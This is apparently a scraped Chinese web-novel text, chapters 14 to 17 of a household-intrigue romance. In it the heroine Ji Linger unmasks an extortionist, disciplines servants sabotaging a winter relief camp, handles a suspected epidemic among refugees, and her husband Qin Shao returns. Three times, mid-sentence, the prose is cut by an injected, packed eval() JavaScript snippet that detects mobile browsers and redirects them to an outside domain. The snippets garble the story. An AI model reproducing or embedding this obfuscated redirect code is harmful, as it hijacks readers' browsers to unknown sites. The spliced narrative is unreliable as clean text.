季灵儿却叫住赵嬷嬷，对方淑凤说：“听婆母与嬷嬷说此事有蹊跷，来着不善，我觉得贸然让人进来不太妥。” 方淑凤叹道：“我何尝不知，但那厮摆明了要借机闹事，不能真让他在外头把事闹大，毁了秦家名声。” “闹事者正是算准了秦家顾全颜面才敢如此放肆，婆母放他进来正中下怀......” 季灵儿还要再劝，方淑凤抬手制止了她的话，“无论如何不能拿秦家的名声冒险，我会见机行事的，你先回去避一避。” 季灵儿拗不过，行了礼出去。 赵嬷嬷将田壮带入偏厅。 他身着粗麻孝服，一进门就哭嚎起来：“我爹被府上家丁活活打死了，夫人要为小的做主啊！” 虽是哭嚎，眼中半滴泪没有。 方淑凤肃色道：“休得胡言！田管事犯错受罚已是三个月前之事，且府上有人证证明他的伤势无碍，我不知你拿旧事攀扯是何居心，但念在你父曾为府上效力多年，我也不愿计较，如今多给你银两安葬，为何还不罢休？” 田壮冷笑道：“二十两？我爹在秦家卖命三十年，难道只值二十两银子？” 方淑凤：“你想要多少？” 田壮：“至少五百两，否则我就去衙门告秦家草菅人命！” 14. 麻烦 方淑凤面露怒色：“你简直狮子大开口！” “爹，您在天有灵，睁眼看看这吃人的一家人吧！”田壮一阵仰天长啸，从怀中拔出一把匕首，面目狰狞看向方淑凤：“今日没个满意答复，我也死在这里，让你们秦家不得安生！” 方淑凤惊地双手死死握住把手，赵嬷嬷张开手臂挡在她身前，厉声叫人。 田壮手持匕首横在空中，声嘶力竭地吼道：“敢让人进来半步，我立马血溅当场！” 方淑凤气得浑身发抖，但秦家行事规矩，开了这道口便是无底洞，努力保持冷静，道：“你爹确实为秦家辛苦多年，你放下匕首，我命人清点给你一百两，权当补了田管事的情分。” 田壮：“说五百两就五百两！” * 季灵儿回屋拿了件防身的物件折回，在庭前拦下打探消息回来的小厮。 小厮气喘吁吁道出所闻：“田管事乃半夜醉酒跌入河中溺毙的。” 季灵儿心说难怪，又问：“你可清楚田壮有无妻儿？” 小厮点头：“有个婆娘和一个六七岁的儿子。” 季灵儿当即道：“叫上府上得力的家丁，去把他儿子绑来。” 小厮错愕：“这，这怎可使得？” 季灵儿：“如何使不得，你快些去办，平了这桩事大爷那儿少不了你的好，手脚务必麻利。” 小厮领命离开。 季灵儿到偏厅门口，听见田壮咆哮：“五百两，少一个子儿都不成！” 剑拔弩张的气氛里，季灵儿掀帘而入，冷眼问田壮：“你来要银子前，可有将你爹的尸身先毁了？” 田壮愣了：“你这是什么话？” 季灵儿不紧不慢追问：“毁了，还是没毁？” “我爹身体溃烂地惨不忍睹，做儿子的自要为他保留体面。” 季灵儿拖长音调“哦”了一声，“毁尸灭迹，看来那人说的是真的了。” 田壮见她一副了然于胸的模样，心虚地将匕首对准她，喝问道：“什么人？” 季灵儿凭猜测诈他：“证人啊，看见你爹失足落水的证人，哦对了，也是把你爹打捞上来的人。” “不可能，我分明——” 见田壮明显慌了，季灵儿打断他：“分明什么？给了他银两封口？” “你胡说八道！” 咄咄逼人彻底惹恼田壮，握紧匕首刺向她。 季灵儿闪避两步，自门外冲进来两名家丁，扯着一张麻绳网迎头套住田壮。 后又上来两名家丁将他擒住，打落匕首。 田壮怒吼挣扎，“堂堂秦家就这样恃强凌弱，草菅人命......” 方淑凤从田壮看向季灵儿，眼中满是错愕。 季灵儿扶着手旁的桌沿缓平神色，道：“到这时候还不说实话？我看你是不见棺材不掉泪！不妨告诉你，我方才已叫人去拿了你儿子来，你若还想给田家留个后，就乖乖交代！” 田壮挣扎的动作顿住，怒意被惊恐取代，“你们竟绑我儿子！” 季灵儿弯眸，笑意不达眼底：“此言差矣，我们只是请孩子来府上同他爹团聚，年关将近，要不要平平安安过年，全看你的选择呀。” 田壮气的咬牙咒骂，她却无动于衷。 终究放不下儿子，妥协坦白一切：“是有人给了我五百两银子，让我毁掉尸首来秦家闹事，能再多得五百两，若秦家不给就把事情闹大，你们为了秦家声誉定会花钱消灾。” “那人是谁？”季灵儿追问。 田壮摇头：“他在暗巷堵着我，戴着斗笠又蒙住半张脸，我根本看不清模样。” 季灵儿捡起掉落的匕首架在他脖子上，追问：“你没说假话？” “芮宁。”方淑凤见她动刀，开口叫停，“算了，我瞧他没胆子再说谎。” 季灵儿看向方淑凤，对方躲闪的目光中藏着异样。 方淑凤没多解释，吩咐家丁：“将他带下去，送交官府处置。” 田壮急急喊道：“放了我儿子。” 方淑凤：“我们秦家不会伤害幼子。” 待厅堂恢复清净，方淑凤神色复杂看向季灵儿握着匕首的手，半晌，只是叮嘱：“以后万不可如此莽撞冲进来。” 不出一盏茶，偏厅发生的事传到老夫人耳中，不消多想她就明白其中猫腻，拍案道：“宗劭才出门，那些人是看准了时间来捣乱的！” 又对身旁的吴嬷嬷说：“派人去查，到底是谁跟秦家过不去。” 吴嬷嬷应下。 冷静下来，老夫人沉吟着开口：“不过孙媳妇行事风格倒与她婆母截然相反。” 老夫人语焉不详，吴嬷嬷揣摩着意思说：“大夫人仁慈，大少奶奶果决，虽不相同，但各有一番好处。” “正是宗劭他娘仁慈太过，才让外头觉得秦家没宗劭坐镇好欺负，孙媳妇这一闹歪打正着震了那起子心怀不轨的，不过......”老夫人意味深长地叹了一声，没往下说。 吴嬷嬷会意，貌似随意赞道：“大少奶奶看着是个大门不出二门不迈的娇小姐，不想竟如此有魄力。” 吴嬷嬷的言外意正是老夫人的顾虑，一个闺阁千金，能设计制敌，还下令绑架幼童，有魄力不假，手段到底上不得台面，是个心地纯良的也罢，万一心思不正，将来恐要闹得家宅难安。 老夫人斟酌良久，道：“去告诉大夫人，今年的赈济放手让孙媳妇去历练历练。” 年关赈济由吉安几家大商户们联合筹办，共同出资，在城外搭设暖棚，施粮施粥，救济义诊，各家轮流主持两日。 轮到秦家已是赈济的第七日，先前几家将场面打理地井然有序，季灵儿按部就班维持即可，不必多费功夫。 各家赈济都是家中主母操持，秦家让新过门的大少夫人接手，用意显然，在场帮忙的小商户们无不热情同她见礼。 季灵儿未同他们寒暄太多，安排完大伙，回马车内换上便于行动的短袄中裤，同家丁们一道分发衣物和米粮。 注意到有几名男子试图插队，丢下舀米勺径直走过去。 “看你们身强体健，在这里争抢不如去后边劈柴搬水。” 叫他们不情愿，季灵儿接着道：“愿意照我说的做，粥饭管饱，还能额外领五个铜板。” 几人面面相觑，果真去帮忙了。 * 秦府正院。 老夫人听人回报了城外赈济的情形，得知季灵儿能放下身段亲自下场，欣慰道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379878|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是我忧虑过了，她是个心善的孩子。” 吴嬷嬷：“是您有眼光，千挑万选，给大爷选了一位贤妻。” 前来请安的姚氏在门外听见这话，骤然收敛笑容，低声对身旁丫鬟道：“大少夫人这么为秦家出力，咱可不能袖手旁观，挑几个院里得力的，去城外给大少夫人搭把手。” * 城外，玉秀看着不减反增的队伍，疑惑道：“奇怪，这人怎么越来越多了？” 季灵儿一边麻利地打包衣物，一边抬头看向远处，攒动的人头比她来时还多，且多是面黄肌瘦拄着树枝，身上衣衫单薄难以蔽体，甚至有人打赤脚，在冻土上踩出浅浅血痕。 看起来不像附近的穷苦人家。 隐约觉出事情不对，季灵儿低声对玉秀道：“去打听一下，也知会大伙提高警惕。” 玉秀很快回来，说：“庆州暴雪导致官道断行，他们是翻山越岭逃荒过来的，本该去往州府大营的流民安置点，那里不堪重负才辗转至此。” 季灵儿蹙眉，庆州距此可有数百里。 “先将他们单独安顿吧，登记信息造册，粮食衣物同先前的分开发，免得引起混乱。” 玉秀：“咱们的赈济物资恐怕不够啊，先前估算的人数，可没算上这些流民。” 季灵儿深知人心易乱，眼下不稳住局面，只怕好事变祸事。 沉吟片刻，道：“先紧着老弱妇孺分发，我再想办法。” 正说着，秋棠快步到季灵儿身旁，道：“四房派人来了，说是给咱们帮忙。” 顺着望去，几个穿着体面的婆子小厮站在不远处。 季灵儿不信姚氏能有这般好心，但眼下人手紧缺，便让秋棠带人去安排。 结果不出半日，这群人一桩接一桩出麻烦。 先是分发冬衣的队伍突然混乱起来，几个婆子动作慢吞吞的，还挑三拣四，嫌流民脏臭，推搡间一捆冬衣掉进泥水坑里。 紧接着，煮粥的大锅旁，有仆妇不小心滑倒，险些将一桶脏水泼进粥锅里，幸被眼疾手快的小厮拦住。 更有甚者，来帮忙的人竟然和民众起了口角…… “既看不起人，何必假惺惺来赈济？” “大宅院出来的就了不起吗？” 流民亦有尊严，不满的声音在人群中蔓延，从低声嘀咕，渐渐演成了公然指责，眼见要闹出大冲突。 玉秀听了几句气得直跺脚，跑去向季灵儿告状：“四房这些人分明是来捣乱的，再这样下去，非出乱子不可！” 季灵儿目光扫过看似忙碌实则添乱的身影，最后落在远处那个揣着手，假意指挥实则看热闹的婆子身上。 “那是谁？”她问秋棠。 “是四夫人院子里的张婆子，跟着四夫人陪嫁过来的。” 季灵儿眼神骤然一厉，心中已有计较。 姚氏派这些人来捣乱，无非想让她手忙脚乱，处置不当，最后落个无能的名声，甚至惹出祸事来，好看她的笑话。 真当她是软柿子好捏？ 季灵儿不明白姚氏一个长辈为何处处与她过不去，但对方既送上门来找不痛快，她倒要好好回敬一份厚礼。 当即下令：“秋棠，召集府上护卫过来。” 15. 隐患 十名健壮护院手持棍棒上前，骚动的人群安静下来，目光纷纷投向季灵儿。 “先把摔了衣服的带过来。”她声音不大，说的极有气势。 玉秀精神一震，引了一位婆子过来。 “你是四婶娘派来帮忙的？”季灵儿肃声问。 那婆子没料到新夫人会在大庭广众下发难，起先并不太慌张，从容道：“是，我家夫人看您辛苦派我们来帮忙。” “帮忙，我瞧你们是故意添乱，”季灵儿唇角勾起讥诮，声音冷澈：“冰天雪地一件御寒的衣物能救一条命，你却给丢泥水里，跟着四婶娘办差事时也这么不当心吗！” 那婆子神色一僵，勉强赔笑：“少夫人说哪里话，我不过是失手——” “失手？我看你是心太黑，胆太大，”季灵儿不不听她辩解，扬声打断，对一旁的秋棠道：“扣她半年月钱，扔回给四夫人，就说我这里庙小，容不下这等能干的大佛。” 婆子被护院架起，终于慌了神，连声求饶：“老奴上年纪手脚不利索，绝不敢有意捣乱。” 季灵儿扬手止停，缓缓道：“如此更不适合留用，也别去四婶娘跟前添堵了，直接打发出去。” 那婆子哭嚎声渐远，人群鸦雀无声，怠慢捣乱的个个垂头瑟瑟。 季灵儿目光扫过他们，道：“险些毁了一锅粥的那个，扣三个月月钱！” 依次发落完小鱼小虾，最后将视线锁在人群中低头避让的身影上，“张婆子。” 张婆子出逃不成，硬着头皮上前：“大少夫人息怒，下面人不懂事，我这就回去禀报四夫人。” 季灵儿冷笑，“我自会与四婶娘说话，用不着你多言。你既身为领头，她们犯错实是你监管不力。” 张婆子脸色煞白，赶忙道：“大少夫人，我，我可是四夫人的人。” 还想拿姚氏压她？ “哦？”季灵儿声音陡然提高，确保周围的人都听得见，“你的意思是，今日这些怠工捣乱，罔顾流民生死的行为，都是四夫人授意的？” 这话若坐实，姚氏得吃不了兜着走。 张婆子吓得魂飞魄散，连忙摆手：“不不不，不是，四夫人好心派我们来，是老奴没管束好，求大少夫人恕罪。” “知罪就好，秦家不养无能之人，秋棠，替我回老夫人，革去张婆子府中差事，一并打发回去。”季灵儿语气森然，转而对众人道：“希望大家引以为戒，再有纰漏休怪我不讲情面。” 见识过新夫人厉害，余下诸人噤若寒蝉，打起十二分精神做事。 场面恢复井然，季灵儿不时走动，亲自为老弱盛粥，关怀询问，一日下来，无人不对秦家这位大少夫人称赞。 玉秀既解气，又担忧。 “您这回可彻底把四夫人得罪了。” 季灵儿不屑：“她自找的。” 玉秀担心的不仅仅是姚氏。 这几日她打听许多秦家关系，尤其是各房之间的往来与恩怨，姚氏的祖父乃商行上一任行老，亦是一手提拔秦劭之人，碍着这层关系，秦家敬重姚家。 姚氏未出阁便骄纵，嫁入秦家后未收敛，甚至不给丈夫面子，多次当众让四老爷难堪，大夫人管不了她，老夫人的斥责多半高高拿起轻轻放下，因此愈发有恃无恐。 玉秀觉得姚氏不会善罢甘休，随即道出忧虑：“万一四夫人闹到老夫人那里，添油加醋编排您几句，老夫人对您生出偏见，日后日子可难过了。” 季灵儿知道玉秀怕闹出幺蛾子，坏了李代桃僵的戏码，可这正是她求之不得的。 不以为意地笑了笑，“坏了赈济毁的是秦家名声，冲这点，姚氏也得打碎牙往肚子里咽。至于老夫人，想必是个通情理的，不会偏听偏信。” * 消息很快传回秦府。 姚氏气得浑身发抖，在房里摔东砸西，连素日最喜欢的玉屏风都碎了。 “反了天了，她一个小辈，还没有正式掌家呢，就敢打骂发卖起我的人了！” “夫人消消气，侄媳妇兴许是借题发挥，想在众人面前立威，说到底是咱送出去的人先犯了错。”四老爷秦锦在一旁好声好气规劝。 “立威？她这是存心给我没脸！我自进你家门，老夫人尚且给三分面，如今竟受一个小丫头这等羞辱......不成，我要去找老夫人问问，这秦家到底是谁说了算！” 姚氏越想越气，裹上斗篷就要往外冲。 秦锦赶紧拦住她，“夫人冷静，母亲一向看重秦家名声，你派出去的人险些把赈济搅和了，此时去告状，岂非自揭其短？” 姚氏被这一番话堵得脸色发青，倒是没继续往外冲。 心里憋一口气实在咽不下，转头把火发在秦锦身上：“都是你的窝囊害的，从前被大房压也罢了，如今连个晚辈的气我都要受。” 秦锦承受着姚氏的怒火，一边赔笑脸一边哄。 老夫人那里不光得了外头的信，对四房院里的动静也一清二楚，盘着沉香木珠淡然开口：“孙媳妇做得对，主事之人是该有这样的魄力和决断......姚氏一向眼皮子浅又骄纵，是该敲打敲打了。” “就怕四夫人往心上记，日后少不得折腾。”吴嬷嬷说。 老夫人垂目看着手中的佛珠，缓缓道：“大宅院里什么时候安生过，这个不争那个争，孙媳妇若有本事，自能压得住阵脚，若没本事，旁人再如何扶持也是枉然。无碍秦家体面的事，由她们闹去。” * “少夫人真乃雷霆手段，菩萨心肠。” 季灵儿方回到马车前，预备喝盏茶歇息片刻，听得一声拊掌赞叹，循声抬眼，是上次在酒楼见过的袁掌柜。 笑着道声问好，又问：“袁掌柜来此作甚？” 袁掌柜含笑道：“来此自是为赈济之事。袁某所经营的茶叶生意虽小，也愿略尽绵力，故号召几位同行共同出资，采买了米粮冬衣，已全数运来了，请少夫人清点。” 季灵儿放下茶盏看去，果见数名粗布短打的伙计押着几辆马车，满载麻袋与包裹，整齐排列路旁。 赈灾并非第一日，他偏赶在秦家主持之日来送，有酒楼之会在前，袁掌柜此番举动在季灵儿看来，可谓用心良苦。 赈灾是义举，秦家无从推脱，何况眼下着实短缺，季灵儿浅福一礼：“袁掌柜心系百姓，我代大伙谢过。” 随后吩咐秋棠：“带人去清点造册，务必标明捐赠来源，别让掌柜们的善心白费。” “少夫人这话，显得袁某有沽名钓誉之嫌。”袁掌柜半开玩笑道。 季灵儿：“正因袁掌柜高义，所以才更要落实清楚，不能让您善意被埋没。” “少夫人思虑周全，”袁掌柜顿了顿，见四下无外人，疑惑发问：“袁某冒昧，有一事百思不得其解，望少夫人解惑。” 季灵儿预感不详，喉咙蓦地发紧，“袁掌柜直说便是。” 袁掌柜观察季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379879|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵儿神色，缓缓道：“闻听少夫人母家姓宋，乃曹县员外郎，您为何会粗衣布鞋出现在清心庵外？” 季灵儿捏紧指腹，不动声色道：“袁掌柜说什么，我不太明白。” “数月前，我在清心庵外见过少夫人，您还了我的钱袋子。”他语气十分坚定。 “袁掌柜怕是记错了，我是去过清心庵，但从未遇见您，更未捡过什么钱袋。”季灵儿努力放平语气。 袁掌柜从怀中取出一只织锦钱袋，“便是这只，少夫人当真不记得？” “未曾见过。”季灵儿摇头。 袁掌柜：“少夫人不必紧张，袁某并无恶意，只是钱袋同里面东西对袁某十分重要，不慎遗失，幸得好心人捡到，可惜她归还后走得急，袁某未及表示谢意，十分遗憾。若真是少夫人您，袁某定当好好报答。” “您认错人了。”季灵儿语气坚定，眼神毫不避让。 袁掌柜凝视她片刻，似在辨别真假，最终将钱袋收起，笑道：“或许是袁某认错了，还望少夫人见谅。” 顿了顿，又道，“不过那位姑娘的容貌身形，都与少夫人十分相似。” 季灵儿笑了下，道：“世事巧合本就常有，袁掌柜莫要太过执着。” “无论如何，袁某与少夫人算是有缘，日后少夫人有任何用得到袁某之处，尽管吩咐。”袁掌柜说完，还报了自家茶庄地址。 季灵儿不知他是否真的相信，未敢把话说太绝：“袁掌柜言重了，您既有此心，我自当铭记。” 酒楼偶遇玉秀在场，方才在旁听出一身冷汗，待袁掌柜走后，忍不住低声问：“他真见过您？” 季灵儿点头。 玉秀顿觉小命危矣，“那可怎么办，他若是将此事捅到大爷跟前，咱就麻烦了。” 季灵儿叹气道：“见招拆招吧，真瞒不住就认倒霉咯。” 她并非认倒霉的人，此话不过顺嘴一说，听进玉秀耳朵里，吓得腿肚子发软。前有三少爷，后有袁掌柜，季灵儿又是这般态度，玉秀只觉得露馅是迟早，一旦事情败露，没人会在意她这个小丫头的死活。 ... 忙完回府，天色已暗，庭院里的小雪人在夜幕下格外显眼，这几日断断续续飘雪，小雪人身上落了新雪，略有变形，红鼻子红唇依然醒目，咧嘴冲来往的人笑。 劳累一日的季灵儿进来便看见它，心道它笑得一日比一日丑。随后不由得想起秦劭，想象他蹲在地上堆雪人的模样......实在违和，半天没想出来。 转头问秋棠：“大爷离家多久了？” “今日是第六日。” 近日一桩事接一桩事，季灵儿忙昏了头，不知觉竟过了这么久。 秋棠见她望着雪人发呆，打趣问：“少夫人可是思念大爷了？” “浑说什么？”季灵儿嗔她一眼，吓得秋棠吐了吐舌头。 六日......季灵儿满腹心事回到房中，卸尽钗环后忽察觉出问题，又问：“大爷从前查账都去多久？” 秋棠：“查账有简有繁，距离不尽相同，所以时日上没有定数，短则一两日，多的话，九十日也是有的。” 秋棠回完话出去打水，玉秀透着妆镜问季灵儿：“您担心大爷去王老爷家查问？” 季灵儿点头，她总觉得秦劭临走前的问话不寻常。 “奴婢虽然也担心，但王老爷同我家夫人一心，大爷去溯州前夫人已传信过去，那边自有防备。” 16. 害怕 次日依旧由季灵儿主持赈灾，马车尚未停稳，值守的家仆匆匆迎上来，神色惊惶。 “少夫人不好了，流民里有三人出现高热咳嗽之症，恐是疫病。” “可有声张？” 一股寒意自季灵儿脊背窜上，此处聚集人口众多，一旦爆发疫病后果不堪设想。 “小的们谨遵您昨日吩咐，未敢声张，已将三人隔离在东南角空帐。” 顾不上踩脚凳，季灵儿纵身跃下车辕，“快带我去。” 疾步到流民聚集处，刚要进帐，玉秀上前拦住她道：“少夫人，疫病会传染，您万不能贸然进入。” 季灵儿定了定心神，又问家仆：“排查其他人了吗？” “与这三人接触过的都已单独看管，怕引起慌乱，暂未排查其他人。” “去寻皂角和醋来，多多益善，还有艾草！再让义诊的郎中开些祛毒防风的药方，着人抓药煎熬。” 季灵儿吩咐妥当，用帕子遮掩口鼻打开帐子查探。 “少夫人不可！”秋棠亦急切阻拦，大爷临行前千万叮嘱她们照顾少夫人，实在不敢让她以身犯险。 “我心中有数，你们在此处候着。”季灵儿摆摆手，抬脚步入帐子。 帐内光线昏暗，草垛铺上灰布褥子勉强作榻，三人沉沉躺着，旁边有两名年轻女子，正用湿帕子给病患擦拭额头。 即便她们以白布裹住口鼻，季灵儿仍认出其中一双眉眼，清丽，冷艳，令人过目不忘。 遂错愕道：“怎么是你？” “大嫂嫂，”姚音然顿下动作同她打招呼，并未起身，“我这几日一直在。” 季灵儿昨日未往诊棚来，亦没人告诉她姚音然在，骤然相对，满心震惊疑惑，短时不知该怎样开口。 姚音然率先打破沉默：“大嫂嫂不必惊讶，每年赈济我都会在此义诊，此事除祖母外府内无人知晓，祖母曾答应替我保密，因而没人告知于你。” “这样啊......辛苦你了。”季灵儿怔愣着应了声，“他们所患真是疫病？” 姚音然点头，神情凝重，“发热盗汗，咳中带血，是肺疫。” 季灵儿没敢问她有几成把握，只道：“我能帮你什么吗？” 姚音然道：“大嫂嫂在外头操持大局便好，此间有我同春霖足够。” “你们万万要顾好自身。”逗留久了帮不上忙反添乱，季灵儿叮嘱几句退出帐外。 ... 家仆很快将皂角艾草等物运至，照吩咐煮水焚熏。 众人一见这架势，纷纷猜测，有胆大者带头发问：“瞧这架势，不会是有人染了疫病吧？” “天没亮时有人被单独带进帐篷里了。” “疫病传染，若真染上了，咱们可咋办？” 恐惧冒头，人群迅速骚动起来，吵吵嚷嚷将季灵儿围了个水泄不通，她寻个高台站上去，提高声音道：“大家别慌，我方才从帐中出来，已查明只是寻常风寒，不是疫病，更不会传染。” “寻常风寒何至于单独隔开，你不会是诓我们吧？” 季灵儿：“俗话说有备无患，冬日易感风寒，咱们这群人又以残弱居多，风寒传染起来岂非又要花时日和银子治病，未保万一，我才让人熬药汤，熏艾草，大家不必惊慌，按部就班领取即可。” 众人仍不尽信，在底下交头窃窃。 季灵儿故意弯起笑意，以最轻松的语气道：“大伙想想，倘使真是疫病，我早避之不及了，岂会亲自往有病人的帐中去，还站在这里同你们分说，大家既知我是谁，那只要看见我在，就该放心。” “有道理，她可是秦大当家的新夫人，身份尊贵得很，真要有事，秦家哪能放着她涉险。” 议论声渐渐平息，各自交换过眼神，终是有人应声：“少夫人说得在理，咱们听少夫人的。” 一番话虽稳住了众人，但季灵儿心知此非长久之计，她心里怕的厉害，避开人群回到马车旁，扶着车辕大口呼气，强撑的镇定卸去，冷汗涔湿后背，双腿发软。 她并非受过调.教的大家闺秀，往日庵中有重大法事只跟着跑跑腿打打杂，突然被推出来主持大局，她的胆子仅能撑面子，里子已经虚成雪水了。 融化的同时，吸走周身温度。 昨日惩治姚氏送来的人眼睛都不眨一下，全因她不畏惧姚氏，不畏惧得罪人。 可眼下是疫病，一旦病情扩开，靠她三言两语糊弄不住，又当如何呢？像十年前那样，眼睁睁看着一个个活生生的人被折磨到咽气，尸横遍野时由官府点燃一把火，任村庄烧成白地吗？ 玉秀唤了许多声，直到伸手碰触季灵儿肩膀，她才猛然回神，眸中散去的神光悠悠聚拢。 “我......我在想万一疫病蔓延起来该如何处理。” 玉秀提议：“要奴婢回去请老夫人或大夫人来主持大局吗？” “啊？”季灵儿闻言愣住了，错愕看着她。 玉秀以为说错话，“您觉得不妥？” “不是，”季灵儿摇头苦笑。 流民中出现疫病是大事，回去找拿的准主意的人主持大局是正理，很简单的道理，她为何没想到。 并非没想到，而是在季灵儿习惯一个人熬过所有难关，遇事倚仗他人这种想法，对她而言太陌生。 好似一下子找到主心骨，紧绷的弦稍稍松了些，季灵儿很快定了神，“再等等流民的诊断情况，病情没有扩散迹象便不必惊动府中，一旦发现其中另有发病者，迅速回府禀报老夫人。” 玉秀领命过去。 季灵儿又对秋棠道：“你也去吧，各处都盯紧些，万不可再出纰漏。” 支走二人，她独自靠在马车旁，不断调整呼吸，难压心头慌乱。 幸而玉秀没过多久带着好消息回来：“得病三人皆是外乡流民，昨日来时您及时分离处置，未使病情扩散到其他人，流民中暂时没发现其他患病者。” “当真？”握在车辕上的手指因激动收紧。 “郎中们问诊过后亲口说的。” “那就好，那就好，”季灵儿终于宽下心，抬步欲往诊棚走。 玉秀见她面无血色，劝道：“您回马车上歇着吧，外头有我们。” “不了，我亲自去看看心里踏实，而且疫病到底是隐患，我得在他们看得见的地方。” 天意眷顾，三名病患症状尚在可控范围，按时服用汤药过些时日可痊愈，后半晌流民里虽又冒出两名昏倒之人，万幸只是普通发热。 好容易熬过有惊无险的一日回到秦府，马车停在正门，而非离大房院子近的偏门。 秦家乃五进式穿堂院，共八个大院，十九个小院，院套院，颇有意味幽深之感。 各大院落间隙处会临街另开偏门，日常进出互不干扰。 是以刚下车的季灵儿十分纳罕。经秋棠提醒，再见府内外张灯结彩，方反应过来今日是小年，需去正院问安用膳。 她浑身冷噤乏力，实在想回去歇着，便说：“我不舒服，你去替我回老夫人吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379880|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “毕竟是年节，您好歹去见个礼，不让旁人拿了话柄胡说。”秋棠道。 季灵儿没力气同她掰扯，无奈撑着虚弱的身子到正院。 老夫人笑容慈祥：“芮宁回来了，天寒地冻还要你亲自操持，真是苦了你了，快坐下，喝盏参茶暖暖身子。” 季灵儿正要答话，姚氏抢先开口：“母亲说得是，芮宁确实能干，只是年轻好强，险些酿成祸端。” “这说的什么话。”老太太瞥她一眼，冷下来的语气足以表明态度。 姚氏憋着昨日的气，不肯罢休，“母亲还不知道吧，昨日混进来的流民中有好几个患疫病的，这么大事芮宁瞒着不知会家中，独自做主处置。万一出了岔子闹出人命，岂不叫阖府上下跟着遭殃？” 老夫人眉头皱得更深，威意扫过姚氏。 二婶娘云氏察言观色，温声劝和：“四弟妹说得过了，芮宁是失了这层考虑，好在处置得当，倒叫咱们免一场惊扰，且眼下疫病未扩散，算不幸中之万幸。” 虽是各打五十大板，到底免了一场老夫人对姚氏的正面斥责，否则好好的小年夜都会不安生，老夫人念着她的面子，神色缓和下来。 偏姚氏不是个会看脸色的，嗔怪道：“你也说了是不幸中的万幸，没出乱子是秦家列祖列宗保佑，是咱们命大，她——” “她到底年轻，还要咱们做长辈的多宽容教导，”云氏再次抢过她的话，“四弟妹素日最疼小辈，对宗劭更是上心，但关心则乱，没得再让人误会了你的好意。” 云氏这番话旁人听不懂，却敲打地姚氏心里一阵阵发虚。 你来我往的争执飘到季灵儿耳中，化作缥缈的嗡嗡声，忽低忽高，她只觉浑身沉重如铅，脚下却似踩在云端。 “芮宁？”似乎是老太太唤她。 季灵儿懵懵抬眼，声线虚浮：“祖母，我身子不适，想先回去休息。” 姚氏刚放下的情绪又提起来，“哟，这就摆起架子来了？” “芮宁不敢，实在支撑不住，先行告退了。” 季灵儿眼前已经开始发黑，不欲理她，朝老夫人和方淑凤浅施一礼，不等回话，转身向外走。 门毡撩开，冷风裹着雪花扑上面颊的刹那，眼前天旋地转，软着身子向前倒去。 刹那间，有长臂横斜而来，宽厚手掌锁着她的腰肢，跨步越过门槛，轻轻一捞，将人稳稳带入坚实胸膛。 沁入肺腑的寒气里多了一味松香，季灵儿朦胧睁眼，眸底映进一张冰雕玉凿的脸。 秦劭回来了。 这念头竟使她莫名鼻酸。 秦劭与她前后脚回府，刚要进门听见姚氏发难，好奇小姑娘会如何伶牙俐齿回嘴，在门外多逗留片刻，实没想到是这副光景。 丫鬟尚挑着毡帘，门口情形屋内众人一眼不差看全了，脸上各有精彩。 老夫人从诧异到展颜，招手道：“宗劭回来了，快进来。” 秦劭担心她身子，但不好拂祖母的意，将怀中人轻轻扶正，低声问：“自己能站稳吗？” 季灵儿试着感受脚下，方才的头晕目眩已稍有缓解，只站着应是不成问题，她点了头。 刚松开手，她又猛然抓紧对方衣袖，檀口微张，小声吐字：“还是晕。” 秦劭垂眸，白嫩指尖泛着青白，带着袖口微微颤动，分明是冷得厉害。 抽出衣袖，将人裹进大氅，拢着她上前向老夫人问安。 大氅遮着季灵儿半张脸，亦挡住她突如其来的小心思。 17. 病中 季灵儿想要秦劭众目睽睽之下的亲昵，不为别的，就为给秦家上下看，为以后演恃宠生骄的戏码做铺垫。 老夫人关怀几句雪天奔波辛苦。 秦劭接着话茬道：“我回来路上听说了一桩事，正巧说与祖母听。” “今日路过嘉县榆树村，见那处荒无人烟，问过才知，村上前些年闹过瘟疫，起初只有两户人家染病，可发现之人木讷，定要先报告族老定夺，族老拿不定主意上报官府，层层耽搁，等官府派人来查看时，病患已逾十数人，蔓延之势难遏，终致全村覆没。” 他揽着季灵儿站在厅堂中央，身姿笔挺，语气淡的似讲寻常闲话，堂内一片鸦雀，无人敢张口接话，即便大家都清楚，从溯州到吉安，根本没劳什子嘉县榆树村。 秦劭不徐不缓继续道：“这般耽搁，说好听是守规矩不僭越，然深究细考，不难发现是有人胆小，怕担责任才层层推诿误了全村性命……四婶娘，您说我说的可对？” 姚氏脸上青一阵白一阵，嘴角动了动，牵出一丝难看的苦笑，“你不必为了给新妇撑腰编故事点我。” 秦劭神色不动：“四婶娘多心了，我不过是恰好路过，恰好听说，恰好想起。” 